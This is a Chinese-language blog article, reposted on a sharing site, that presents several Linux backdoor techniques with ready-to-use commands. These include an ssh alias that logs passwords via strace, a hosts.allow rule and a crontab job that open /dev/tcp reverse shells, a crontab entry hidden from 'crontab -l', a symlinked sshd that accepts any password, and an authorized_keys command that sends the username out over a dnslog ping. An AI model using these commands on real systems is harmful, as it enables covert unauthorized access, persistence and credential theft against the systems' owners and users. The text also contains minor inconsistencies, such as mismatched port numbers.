打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
Linux几种留后门姿势

Linux后门是指在Linux操作系统中存在的一种恶意设计或漏洞,通过该设计或漏洞,攻击者可以远程执行命令、获取特权访问或操纵系统。后门通常是由黑客、恶意软件或非授权人员留下的,用于绕过正常的安全措施并获取对系统的未经授权的访问权限。

需要说明的是下面列出的后门是没有考虑绕过杀软或者HIDS的,只是提供一个思路。

目录:

0x01,alias后门记录SSH密码

0x02,TCP Wrapper后门

0x03,软链接SSH后门

0x04,crontab后门

0x05,隐藏crontab后门

0x06,SSH公钥后门

0x07,创建不可删除文件

0x01,alias后门记录SSH密码

在Linux和其他类Unix系统中,alias是一个命令,用于创建命令别名。别名是用户自定义的命令缩写或替代形式,可以用来简化和定制命令行操作。

例如:

[root@localhost ~]# aliasalias cp='cp -i'alias egrep='egrep --color=auto'alias fgrep='fgrep --color=auto'alias grep='grep --color=auto'alias l.='ls -d .* --color=auto'alias ll='ls -l --color=auto'alias ls='ls --color=auto'alias mv='mv -i'alias rm='rm -i'alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'

所以可以直接输入ll就代表输入了ls -l --color=auto

那如何利用alias制作linux后门?需要借助linux系统非常牛逼的工具:strace。

1)strace是一个在Linux和类Unix系统上常用的工具,用于跟踪和记录进程执行的系统调用和信号。

2)当应用程序在执行过程中与操作系统交互时,会发起系统调用以请求操作系统提供的服务和资源。系统调用涉及文件操作、网络通信、进程管理等操作。strace工具通过截获并记录这些系统调用,提供了一种跟踪和调试应用程序的方式。

3)使用strace可以了解应用程序与操作系统的交互细节,包括系统调用的类型、参数和返回值。这对于分析应用程序的行为、排查问题、调试错误以及性能分析都非常有用。

最终alias后门命令如下:

alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

1)先创建一个测试账号:testuser

2)ssh testuser@127.0.0.1登录该账号

3)查看日志

后门将终端的输入输出(输入的ssh地址账号密码)和连接信息保存到/tmp/sshpwd-日期.log中

0x02,TCP Wrapper后

TCP Wrapper(也称为tcpd)是一种用于网络访问控制的软件工具。它在网络服务的前端提供了一层保护,允许系统管理员通过配置来限制对网络服务的访问。

TCP Wrapper主要通过两个主要组件来工作:

  • tcpd(TCP Wrapper守护进程):tcpd是一个守护进程,负责监听传入的网络连接请求,并对这些请求进行访问控制。它是通过在/etc/inetd.conf或/etc/xinetd.d中的服务配置中指定使用tcpd来启动的。

  • /etc/hosts.allow和/etc/hosts.deny:这两个文件定义了TCP Wrapper的访问控制规则。管理员可以根据需要在这些文件中指定允许或拒绝访问的规则。/etc/hosts.allow文件用于允许访问的规则,而/etc/hosts.deny文件用于拒绝访问的规则。这些规则基于客户端的IP地址、域名、服务等进行匹配。

最终TCP Wrapper后门命令如下:

echo 'ALL: ALL: spawn (bash -c '/bin/bash -i >& /dev/tcp/192.168.10.1/4444 0>&1') & :allow' > /etc/hosts.allow

上面是通过echo将TCP Wrapper规则写入文件/etc/hosts.allow

解读下规则内容 'ALL: ALL: spawn (bash -c '/bin/bash -i >& /dev/tcp/192.168.10.1/4444 0>&1') & :allow':

  • ALL: ALL:规则的源和目标,表示对所有主机的所有服务进行授权

  • spawn (bash -c '/bin/bash -i >& /dev/tcp/192.168.10.1/4444 0>&1') &:这是一段命令,用于在允许访问时执行。它使用 spawn 子命令来启动一个进程,执行反弹shell

  • allow:

    规则的操作,表示允许访问

1)修改TCP Wrapper配置

2)反弹shell控制端

3)测试ssh登陆被控端机器

拿到被登录ssh机器的权限。

0x03,软链接SSH后门

软链接SSH后门命令:

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=12345

上述命令是一条Shell命令,它执行了两个操作:

  • ln -sf /usr/sbin/sshd /tmp/su:这部分命令将创建一个名为/tmp/su的符号链接,指向/usr/sbin/sshd文件。ln是Linux中用于创建链接的命令。-s选项表示创建一个符号链接,-f选项表示如果已存在目标文件,则先删除它。

  • /tmp/su -oPort=31337:这部分命令在后台执行/tmp/su,并使用-oPort=31337选项来指定连接远程主机的端口号。由于该命令执行在后台,因此不会在当前终端会话中显示任何输出。

1)执行该后门命令

2)查看目标主机的端口监听

3)cmd ssh连接,任意密码登陆

这里笔者查了好多资料,都没有说清楚为啥这样操作后,任意密码可登陆???chatgpt是这么解释的:

当您在CentOS服务器上执行了ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=12345命令后,它会创建一个名为/tmp/su的符号链接,指向/usr/sbin/sshd,并在12345端口上运行一个替代的sshd实例。这个替代的sshd实例并没有经过充分的配置和安全性设置,它可能会绕过正常的身份验证过程。由于该实例并没有正确配置的认证机制,它会接受提供的任意密码,而不会对其进行验证。这就导致了在连接到192.168.1.1的12345端口时,无论提供任何密码,都可以成功登录。

0x04,crontab后门

Cron计划任务后门,完整命令是:

(crontab-l;echo'*/1****/bin/bash/tmp/1.sh;/bin/bash--noprofile-i')|crontab-

/tmp/1.sh可以是反弹shell的脚本:

bash -i >& /dev/tcp/x.x.x.x/9999 0>&1

解读一下这个命令:

第一部分:crontab -l;echo '*/1 * * * * /bin/bash /tmp/1.sh;/bin/bash --noprofile -i'

  • crontab -l:列出当前用户的 crontab 文件内容。

  • echo '*/1 * * * * /bin/bash /tmp/1.sh;/bin/bash --noprofile -i': 输出以下内容:

*/1 * * * * /bin/bash /tmp/1.sh;/bin/bash --noprofile -i

第二部分:|crontab -

  • |: 将第一部分的输出作为第二部分的输入。

  • crontab -: 将输入内容写入当前用户的 crontab 文件。

总结:

该命令将每分钟执行一次 /bin/bash /tmp/1.sh 脚本,并以交互模式启动一个新的 bash shell。

0x05,隐藏crontab后门

隐藏式Crontab后门命令是:

(crontab -l;printf '*/1 * * * * /bin/bash /tmp/1.sh;/bin/bash --noprofile -i;\rno crontab for`whoami`%100c\n')|crontab -

和上一个cron后门有一些不同。先试验,再解释。

1)在crontab -l检查没有任何计划任务,执行上面命令

2)找一个vps nc监听

3)等待1分钟上线

4)执行crontab -l检查当前用户的计划任务为空

详细解释:

  • crontab -l: 列出当前用户的 crontab 文件内容。

  • printf: 格式化输出。

  • */1 * * * *: crontab 文件的语法规定了执行任务的时间。该行的意思是每分钟执行一次任务。

  • /bin/bash /tmp/1.sh: 执行 /tmp/1.sh 脚本。

  • ;: 分号将两个命令连接在一起,使它们依次执行。

  • /bin/bash --noprofile -i: 以交互模式启动一个新的 bash shell。

  • \r: 回车符。

  • no crontab forwhoami``: 显示“no crontab for 用户名”。

  • %100c: 将输出内容右对齐,占位符为 100 个字符。

这个后门还是存在的,可以通过:

1)cat -A /var/spool/cron/root

2)crontab -e

这两个方式都可以查看到,但是为啥单独执行crontab -l查看不到呢??

原因就是cat命令遇到一些比如 \r 回车符 \n 换行符 \f 换页符这些符号导致了隐藏。执行crontal -l其实对应的就是cat查询计划任务文件。

例如:

[root@localhost ~]# printf '123456\rabcdefg' > 1.txt[root@localhost ~]# cat 1.txt abcdefg[root@localhost ~]#

写入的命名是123456\rabcdefg,通过cat查看却只有abcdefg,因为中间多个\r换行符;

所以上面的隐藏crontab后门命令通过“\r”和“%100c\n” + cat的特性来完成对crontab -l命令的输出的截断和篡改,达到隐藏的目的。

0x06,SSH公钥后门

先简单介绍下SSH公钥登录:
1)生成SSH密钥对,一路回车即可

ssh-keygen -t rsa

2)在服务器上安装公钥:

cat id_rsa.pub >> authorized_keys

3)配置SSH,打开密钥登录功能

编辑 /etc/ssh/sshd_config 文件,进行如下设置:

PubkeyAuthentication yesPasswordAuthentication no
最后,重启 SSH 服务:systemctl restart sshd

4)下载私钥配置使用私钥登陆

什么是SSH公钥后门?

其实这里有一个不常用的参数非常适合用来做后门——command

Introduction to OpenSSH SSH daemon

https://www.commandlinux.com/man-page/man5/authorized_keys.5.html

这篇文章有详细的关于authorized_keys 文件的介绍。

我们知道了,可以在authorized_keys 文件前面加上任意命令,格式如下,并且官方说了,每当使用此密钥进行身份验证时都执行该命令。

command=command ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPLUADsGHkqgiuuXGIIF1fj3zqJWBUzNXgrZg5xjoUYH2kv22nZw+mra73HxGEkXojLJml429qSDnzRKagoY5MSkvPulI+fTeC79ENpN/ZFcdL root@localhost.localdomain

测试下:command='echo 66666'

在用私钥登陆测试下:

发现command='echo 66666' 是执行了,但是私钥登陆却失败了。那么这里就需要调整下姿势,当执行完echo命令后再执行一个bash命令,返回给登录用户一个shell试试:

command='echo 66666 && /bin/bash' ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPLUnIp2AWZ1XM3yGncT+Hny1ksiRLEoHcHqSWIcjs8TIep+kGiJlBimEJB1BM2vbq+T/f5PpWHP7tmwLWp61nX7p9lA88QQwVGMWYr6JFx9JRd/574HyUzBjuOr9L5vKwnyakqlyx+jVclj2KOdw2ymb99dRX4DY36GLHW1b+C8AYisqNI75LXMPLIX5EhOByafUCWdu5XQ/iY74K8VtOUKA3k1AMi17YgbeyCuHnvyADsGHkqgiuuXGIIF1fj3zqJWBUzNXgrZg5xjoUYH2kv22nZw+mra73HxGEkXojLJml429qSDnzRKagoY5MSkvPulI+fTeC79ENpN/ZFcdL root@localhost.localdomain

再次测试,发现可以了,达到让管理员以为是私钥登陆成功的假象。

如何攻击呢?一般是想在command里面添加反弹shell的命令,但是经过笔者测试,几种反弹姿势反弹的进程都会卡在那,就不会执行后面的&& /bin/bash,这样会很容易被管理员发现。哪位大哥知道这里怎么反弹,可以告知下。

可以考虑dnslog带出数据,完整命令如下:

command='ping -c 1 `whoami`.olsme9.dnslog.cn && /bin/bash' ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPLUnIp2AWZ1XM3yGncT+Hny1ksifUCWdu5XQ/iY74K8VtOUKA3k1AMi17YgbeyCuHnvyADsGHkqgiuuXGIIF1fj3zqJWBUzNXgrZg5xjoUYH2kv22nZw+mra73HxGEkXojLJml429qSDnzRKagoY5MSkvPulI+fTeC79ENpN/ZFcdL root@localhost.localdomain

0x07,创建不可删除文件

完整命令是:

echo 'whoami' > ..\ \ \    //最后一个\后也有空格

这种方法建立的文件无法通过rm + tab 或rm -rf ./* 删除,除非知道文件名中包含多少个\和空格:

最后总结一下,其实还有其他的后门姿势,例如SSH WRAPPER后门PAM后门等等,知识有限不介绍了。

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
alias后门 | Linux 后门系列
mutt中级技巧
Linux运维常用shell脚本实例
linux下的别名设置
Linux常见的持久化后门汇总
内网渗透 | Linux权限提升大法
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服